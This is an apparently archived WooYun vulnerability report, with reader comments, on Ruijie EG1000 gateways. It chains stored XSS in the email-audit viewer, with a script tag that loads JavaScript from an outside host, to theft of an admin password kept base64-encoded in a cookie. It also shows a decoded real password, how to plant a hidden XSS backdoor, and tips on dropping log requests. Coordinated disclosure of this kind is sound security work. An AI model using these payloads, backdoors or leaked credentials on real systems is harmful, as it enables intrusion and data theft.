漏洞概要
关注数(24)
关注此漏洞
漏洞标题:锐捷某系列网关产品从XSS盲打到完全控制网关并留下后门
提交时间:2014-05-01 15:19
修复时间:2014-06-15 15:20
公开时间:2014-06-15 15:20
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2014-05-01: 细节已通知厂商并且等待厂商处理中
2014-05-02: 厂商已经确认,细节仅向厂商公开
2014-05-12: 细节向核心白帽子及相关领域专家公开
2014-05-22: 细节向普通白帽子公开
2014-06-01: 细节向实习白帽子公开
2014-06-15: 细节向公众公开
简要描述:
这是一份由一个人写了3个小时的报告。
详细说明:
测试对象:锐捷 EG-1000S with RGOS 10.3(4b10), Release(164555)
可能影响: EG1000C、EG1000S、EG1000M、EG1000CM、EG1000L等EG1000全系列产品


存在的问题:
•XSS可盲打管理后台;
•管理员帐号(admin)的密码存储在cookie中;
•管理页面可留下较隐蔽的XSS后门实现永久控制。
利用条件:
•在锐捷网关的内网中且网关开启了「内容审计」功能。
•成因分析
锐捷网关可以对网关内的流量进行分析与记录,其中「内容审计」功能可以记录通过该网关的邮件数据(包括发收件人、时间、标题、正文、附件等)、QQ/MSN上下线号码与时间、搜索引擎关键字、telnet发送的命令(包括认证密码等)。但邮件内容审计中「查看邮件内容」功能对HTML输出过滤不严导致跨站脚本攻击。
•复现
我们处于网关的内网中,用QQ邮箱往任意邮箱发这么一封邮件:

在网关管理后台可以看到,这封邮件很快就被记录了

点击「详细」查看邮件内容,即可触发XSS


我们试试在邮件中插入script标签加载外部JS以窃取cookie:


看上去锐捷有意把script标签被过滤了。但是能执行JS代码的标签可不止这一个,如果我们换成其他标签呢?


XSS收信平台成功收到了cookie:

拼接出外网管理地址 http://218.**.**.**:7080 利用XSS获取到的管理员cookie即可登录。
『问题2』管理员帐号密码存储在cookie中
•成因分析
路由器、交换机等等设备一般处于内网之中,所以厂商对web管理页面的认证往往是极其简单的。
案例参考:
http://wooyun.org/bugs/wooyun-2010-036133
http://wooyun.org/bugs/wooyun-2010-02268
http://wooyun.org/bugs/wooyun-2010-018029
•复现
XSS获取到的cookie如下
其中,auth字段是base64加密后URI编码的用户名与密码。解码如下:
YWRtaW46d2w2NTcwOQ%3D%3D ===URL解码===> YWRtaW46d2w2NtcwOQ== ===BASE64解码===> admin:wl65709
使用该帐号密码即可登录http://218.**.**.**:7080 管理后台。后台可以建立L2TP VPN进行内网渗透。在测试中,我用wl65709这个密码登录了内网多台服务器的远程桌面。
『问题3』管理页面可留下较隐蔽的XSS后门实现永久控制
•成因分析
同问题2,大多数路由器、交换机等设备的web管理页面十分简陋,不对<>等敏感字符进行过滤的问题普遍存在。
•复现
在用户管理中添加如下组,组名分别为
组名不允许存在字符/与空格。所以使用\x2f替代字符/。
新建组时若提示存在敏感字符,先添加组名为aaa的组,重命名该组时使用Burp抓包并修改即可。
在「流量监控」中可以查看流量大的用户的IP,将其添加到script>组中。

这样,只要目标用户在「流量监控」中出现,即可触发XSS。

但这种方法会使「用户组织」这一常用功能出现异常内容(如上上张图),下面还有一种更为隐蔽的方法留下XSS后门。
我们在「对象定义」中添加自定义应用


如图配置。提交后抓包,将aaa修改为<script/src="//baid.us/1aq" bbb修改为></script>
这样,只要192.168.2.178在「流量监控」中出现,即可触发XSS。

该方法较为隐蔽,只留下这么一点点痕迹:

通过这个隐蔽的XSS后门窃取到cookie,cookie中包含管理员用户名与密码,从而实现永久控制。另外,如果网关没有开启外网管理功能(即通过 外网ip:端口 来访问锐捷网关web管理界面),也可以通过恶意js发送一个HTTP post请求来开启,具体实现这里不再赘述。
漏洞证明:
修复方案:
版权声明:转载请注明来源 超威蓝猫@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2014-05-02 00:36
厂商回复:
正在请相关人员处理
最新状态:
暂无
漏洞评价:
评论
-
2014-05-01 15:20 |
魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)
-
2014-05-01 15:22 |
超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)
-
2014-05-01 15:22 |
疯狗 
( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
-
2014-05-01 15:23 |
超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)
-
2014-05-01 15:47 |
封印师 ( 路人 | Rank:4 漏洞数:3 | 我是小彩笔来的。...(。•ˇ‸ˇ•。) ...)
-
2014-05-01 18:55 |
zeracker 
( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)
-
2014-05-01 19:41 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
@疯狗 作为他们的最终用户 我非常讨厌这个厂家 膜拜洞主我一直认为锐捷产品安全形同虚设 果然如此
-
2014-05-01 19:43 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
@超威蓝猫 我不知道你们说的具体内容提供 不过对网络信息的行为审计记录 貌似是公安部有个什么文件的 只要不去调阅 就应该合法
-
2014-05-01 19:54 |
超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)
-
2014-05-01 19:56 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
@超威蓝猫 保存三个越给公安机关留着备差说话 蓝猫大神的这个洞可能危及我的设备
-
2014-05-01 20:02 |
超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)
-
2014-05-01 20:32 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
@超威蓝猫 大神是对前辈的尊称 你在我们平常人看来 简直无所不能。。。。。没有黑的成分 打住
-
2014-05-01 22:36 |
小火苗 ( 路人 | Rank:6 漏洞数:1 | 我是一只小火苗呀,春风吹又生呀...)
-
2014-05-02 03:19 |
mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )
-
2014-05-02 13:19 |
西北狼 ( 路人 | Rank:4 漏洞数:5 | 来自大漠的苦逼程序员)
-
2014-05-03 08:36 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
-
2014-06-15 18:12 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
-
2014-06-15 19:41 |
syjzwjj ( 路人 | Rank:27 漏洞数:3 )
-
2014-06-16 09:00 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
@syjzwjj 是EG 我以晕倒 如果我是他们的网管 估计会吐血 上班了 在从头回溯下这漏洞应该刚刚锐捷的补丁就是针对蓝猫的 在校验中
-
2014-06-16 09:12 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
疑问@超威蓝猫 入侵者不会是网络管理者 你是如何登陆到EG设备上的疑问二你的任何操作会在EG上留下日志 作为入侵者如何擦除脚印 而不被网管者发现“•成因分析锐捷网关可以对网关内的流量进行分析与记录,其中「内容审计」功能可以记录通过该网关的邮件数据(包括发收件人、时间、标题、正文、附件等)、QQ/MSN上下线号码与时间、搜索引擎关键字、telnet发送的命令(包括认证密码等)。但邮件内容审计中「查看邮件内容」功能对HTML输出过滤不严导致跨站脚本攻击。”或许我没有理解所有的细节吧 此报告太精彩了 可以作为xss的启蒙读物。打印份慢慢揣摩。蓝猫果然 “超威” 尤其是这个后门 我三观还是在乌云网被毁了
-
2014-06-16 09:36 |
超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)
@abaddon 学校网管一码通,试了下锐捷后台就直接登录了,然后对锐捷网关进行了测试。通过XSS获取到的外网IP(图上的218.x.x.x打码部分)和web管理端口(图上的192.168.99.1:7080中的7080)拼接出 外网管理地址 218.x.x.x:7080 就可以登录了。如果没有开外网管理,可以用xss发一个post请求就可以开启了。
-
2014-06-16 09:38 |
超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)
@abaddon 锐捷web端每个操作都会有一个log的post,用burp拦截然后drop应该就可以了。(我没试过
-
2014-06-16 19:40 |
abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)
@超威蓝猫 感谢蓝猫的解释 这份漏洞报告让我第一次认识了 XSS 并通过 现实中的案例 让我更了解了反射型和存储型XSS 使我对信息安全的认识开启了一片新的天地与大门 去读真实报告币看多少书都管用
-
2014-11-16 18:36 |
萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)
-
2014-11-16 18:38 |
萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)